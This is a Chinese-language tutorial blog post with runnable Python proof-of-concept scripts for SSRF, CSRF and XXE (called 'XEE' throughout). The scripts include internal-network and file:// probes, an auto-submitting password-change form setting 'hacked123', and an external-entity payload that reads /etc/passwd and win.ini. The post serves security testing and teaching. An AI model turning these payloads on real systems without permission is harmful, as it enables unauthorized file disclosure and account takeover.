今天继续来分享web漏洞python poc构造以及原理详解。
目录
[一、SSRF(服务器端请求伪造)漏洞 POC](#一、SSRF(服务器端请求伪造)漏洞 POC)
[二、CSRF(跨站请求伪造)漏洞 POC](#二、CSRF(跨站请求伪造)漏洞 POC)
[三、XEE(XML 外部实体注入)漏洞 POC](#三、XEE(XML 外部实体注入)漏洞 POC)
一、SSRF(服务器端请求伪造)漏洞 POC
漏洞原理:SSRF 漏洞是由于服务器未过滤用户输入的 URL/IP 参数,导致攻击者可诱导服务器向任意地址(如内网 IP、本地服务)发起请求,从而探测内网服务、读取本地文件或攻击内部系统。
python
import requests
import argparse
import time
def check_ssrf(url, param):
"""
检测SSRF漏洞
原理:通过构造指向内网地址/特殊端口的请求,观察响应差异判断是否存在漏洞
"""
if '?' not in url:
url += '?'
else:
url += '&'
test_targets = [
f"{param}=http://127.0.0.1:80", # 本地80端口
f"{param}=http://127.0.0.1:3306", # 本地MySQL端口
f"{param}=http://192.168.1.1", # 内网常见网段
f"{param}=file:///etc/passwd", # 尝试读取本地文件
f"{param}=file:///c:/windows/system32/drivers/etc/hosts" # Windows本地文件
]
base_payload = f"{param}=http://example.invalid"
base_url = url + base_payload
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
try:
base_response = requests.get(
base_url,
headers=headers,
timeout=10,
allow_redirects=False
)
base_status = base_response.status_code
base_length = len(base_response.text)
base_time = base_response.elapsed.total_seconds() # 响应时间
print(f"[*] 基准响应:状态码={base_status},长度={base_length},时间={base_time:.2f}s")
# 测试每个目标
for target in test_targets:
test_url = url + target
try:
start_time = time.time()
response = requests.get(
test_url,
headers=headers,
timeout=10,
allow_redirects=False
)
test_time = time.time() - start_time
test_status = response.status_code
test_length = len(response.text)
status_diff = test_status != base_status
time_diff = abs(test_time - base_time) > 2 # 时间差超过2秒(内网请求可能更慢)
length_diff = abs(test_length - base_length) > 100 # 内容长度差异大
if status_diff or time_diff or length_diff:
print(f"[+] 可能存在SSRF漏洞!")
print(f" 测试目标:{target}")
print(f" 状态码差异:{status_diff}(测试={test_status},基准={base_status})")
print(f" 响应时间差异:{time_diff}(测试={test_time:.2f}s,基准={base_time:.2f}s)")
return True
except requests.exceptions.Timeout:
# 超时可能意味着服务器尝试连接了不可达的内网地址
print(f"[!] 测试目标 {target} 超时,可能存在SSRF(服务器尝试连接内网)")
return True
except Exception as e:
print(f"[!] 测试 {target} 出错:{str(e)}")
continue
print("[-] 未检测到SSRF漏洞")
return False
except Exception as e:
print(f"[!] 基准请求失败:{str(e)}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="SSRF漏洞检测工具")
parser.add_argument("-u", "--url", required=True, help="目标URL(含参数位置,如http://test.com/ssrf?url=)")
parser.add_argument("-p", "--param", required=True, help="可能存在SSRF的参数名(如url)")
args = parser.parse_args()
check_ssrf(args.url, args.param)
代码分析:
- 逻辑:通过对比 "正常请求"(访问无效地址)和 "恶意请求"(访问内网 / 本地文件)的响应差异(状态码、时间、长度)判断漏洞。
- 检测 :
- 内网 IP(127.0.0.1、192.168.x.x)和特殊端口(3306、8080)
- 本地文件协议(
file://)读取系统文件 - 超时情况(服务器可能尝试连接内网不可达地址导致超时)
二、CSRF(跨站请求伪造)漏洞 POC
漏洞原理:CSRF 漏洞利用用户已认证的会话(如 Cookie),诱导用户在不知情的情况下点击恶意链接,执行非预期操作(如修改密码、转账)。核心是目标操作 "未验证请求来源" 且 "依赖 Cookie 认证"。
python
import argparse
def generate_csrf_poc(target_url, method="POST", data=None):
"""
生成CSRF漏洞检测POC(HTML表单)
原理:构造自动提交的表单,模拟用户在已登录状态下执行敏感操作
"""
if data is None:
data = {"new_password": "hacked123", "confirm_password": "hacked123"}
html = f"""<!DOCTYPE html>
<html>
<head>
<title>CSRF Test</title>
</head>
<body>
<h1>CSRF POC(自动提交)</h1>
<form id="csrfForm" action="{target_url}" method="{method}">
"""
# 添加表单数据
for key, value in data.items():
html += f' <input type="hidden" name="{key}" value="{value}">\n'
html += """ </form>
<script>
document.getElementById("csrfForm").submit();
</script>
</body>
</html>"""
filename = "csrf_poc.html"
with open(filename, "w", encoding="utf-8") as f:
f.write(html)
print(f"[+] CSRF POC已生成:{filename}")
print(f"[*] 使用说明:")
print(f" 1. 让目标用户在已登录状态下打开该HTML文件")
print(f" 2. 若操作被执行(如密码被修改),则存在CSRF漏洞")
print(f" 3. 漏洞修复:添加CSRF Token验证请求来源")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CSRF漏洞POC生成工具")
parser.add_argument("-u", "--url", required=True, help="目标操作URL(如http://test.com/change_password)")
parser.add_argument("-m", "--method", default="POST", help="请求方法(GET/POST,默认POST)")
args = parser.parse_args()
# 可根据实际场景修改data(如转账金额、收件人等敏感操作参数)
generate_csrf_poc(args.url, args.method)
代码分析
- 逻辑 :生成一个包含自动提交表单的 HTML 文件,表单 action 指向目标敏感操作 URL,参数为恶意值(如修改密码为
hacked123)。 - 检测 :
- 让已登录的用户打开生成的
csrf_poc.html - 若目标操作被成功执行(如密码被修改),则存在 CSRF 漏洞
- 让已登录的用户打开生成的
- 条件 :目标操作需满足:
- 依赖 Cookie 认证(无 Token/Referer 验证)
- 操作参数可预测(如修改密码的参数是
new_password)
三、XEE(XML 外部实体注入)漏洞 POC
漏洞原理:XEE 漏洞源于 XML 解析器未禁用外部实体(XXE),攻击者可构造恶意 XML,通过外部实体引用读取本地文件、访问内网服务或执行 DOS 攻击。
python
import requests
import argparse
def check_xee(url, post_data_key="xml"):
"""
检测XEE漏洞
原理:发送包含外部实体的XML数据,检查响应中是否包含敏感文件内容
"""
xxe_payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>
<data>&file;</data>
</root>"""
xxe_payload_win = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY>
<!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]>
<root>
<data>&file;</data>
</root>"""
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Content-Type": "application/xml" # 声明XML内容类型
}
try:
print("[*] 测试Linux系统文件...")
data = {post_data_key: xxe_payload} # 若目标通过表单字段接收XML,用字典;否则直接传字符串
# 若目标直接接收raw XML,将data改为xxe_payload
response = requests.post(
url,
data=xxe_payload, # 直接发送XML字符串(根据目标接口类型调整)
headers=headers,
timeout=10
)
if "root:x:0:0:" in response.text:
print(f"[+] 存在XEE漏洞!成功读取/etc/passwd")
print(f" 响应片段:{response.text[:200]}")
return True
except Exception as e:
print(f"[!] Linux测试出错:{str(e)}")
try:
print("[*] 测试Windows系统文件...")
response = requests.post(
url,
data=xxe_payload_win,
headers=headers,
timeout=10
)
if "[fonts]" in response.text:
print(f"[+] 存在XEE漏洞!成功读取c:/windows/win.ini")
print(f" 响应片段:{response.text[:200]}")
return True
except Exception as e:
print(f"[!] Windows测试出错:{str(e)}")
print("[-] 未检测到XEE漏洞")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="XEE漏洞检测工具")
parser.add_argument("-u", "--url", required=True, help="目标XML接口URL(如http://test.com/parse_xml)")
parser.add_argument("-k", "--key", default="xml", help="接收XML数据的参数名(若通过表单提交,默认xml)")
args = parser.parse_args()
check_xee(args.url, args.key)
代码分析
- 逻辑 :构造包含外部实体(
<!ENTITY file SYSTEM "file:///etc/passwd">)的 XML,发送给目标接口,若响应中包含/etc/passwd或win.ini的内容,则存在 XEE 漏洞。 - 检测 :
- Linux 系统:读取
/etc/passwd(包含用户信息,特征为root:x:0:0:) - Windows 系统:读取
c:/windows/win.ini(系统配置文件,特征为[fonts])
- Linux 系统:读取
- 使用 :目标接口接收 XML 数据(如 API 接口、配置上传功能),且 XML 解析器未禁用外部实体(如 Java 的
DocumentBuilder、PHP 的libxml默认配置)。
四、总结
SSRF:在于 "服务器请求行为"(是否访问内网 / 本地资源)
CSRF:在于 "用户会话滥用"(利用 Cookie 执行未授权操作)
XEE:在于 "XML 解析器行为"(是否解析外部实体并返回敏感内容)